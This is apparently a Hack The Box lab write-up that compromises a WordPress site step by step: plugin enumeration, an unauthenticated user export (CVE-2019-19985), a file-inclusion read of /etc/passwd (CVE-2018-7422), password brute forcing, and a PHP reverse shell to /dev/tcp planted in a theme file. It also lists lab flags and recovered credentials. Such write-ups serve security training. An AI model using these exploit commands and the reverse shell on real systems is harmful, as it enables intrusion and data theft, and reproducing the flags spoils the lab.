

HTB: Inlanefreight WordPress Pentest

Step-by-Step Exploitation Guide

Phase 1: Initial Enumeration

1. WPScan with API Token

Identify vulnerabilities by comparing plugin versions against the WPScan database.

```
wpscan --url http://blog.inlanefreight.local --api-token [YOUR_TOKEN] --enumerate vp,u
```

Outcome: Found *Email Subscribers 4.2.2* (Info Disclosure) and *Site Editor 1.1.1* (LFI).

Phase 2: Data Leakage

2. Exploiting Email Subscribers (CVE-2019-19985)

Unauthenticated CSV export of user database.

```
curl -s "http://blog.inlanefreight.local/wp-admin/admin.php?
page=download_report&report=users&status=all"
```

First Flag: HTB{unauTh_d0wn10ad!}

Outcome: Discovered admin email and confirmed user **erika**.

Phase 3: File Inclusion

3. Exploiting Site Editor LFI (CVE-2018-7422)

Reading internal system files to identify users.

```
curl -s "http://blog.inlanefreight.local/wp-content/plugins/site-editor/editor/extensions/
pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
```

Outcome: Identified system user **fsociety**.

Phase 4: Access & RCE

4. Brute Force & Dashboard Access

Finding valid WordPress credentials for the discovered user.

```
wpscan --url http://blog.inlanefreight.local -U erika -P rockyou.txt
```

Creds: erika : 010203

5. Reverse Shell via Theme Editor

Injected a PHP shell into

```
404.php
```

of the **active** theme (Twenty Nineteen).

```
// In 404.php:  
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'"); ?>
```

Listen locally:

```
nc -lvnp 4444
```

Phase 5: Completion

6. Capture User Flag

Navigate to the home directory and read the final flag.

```
cd /home/erika && cat user.txt
```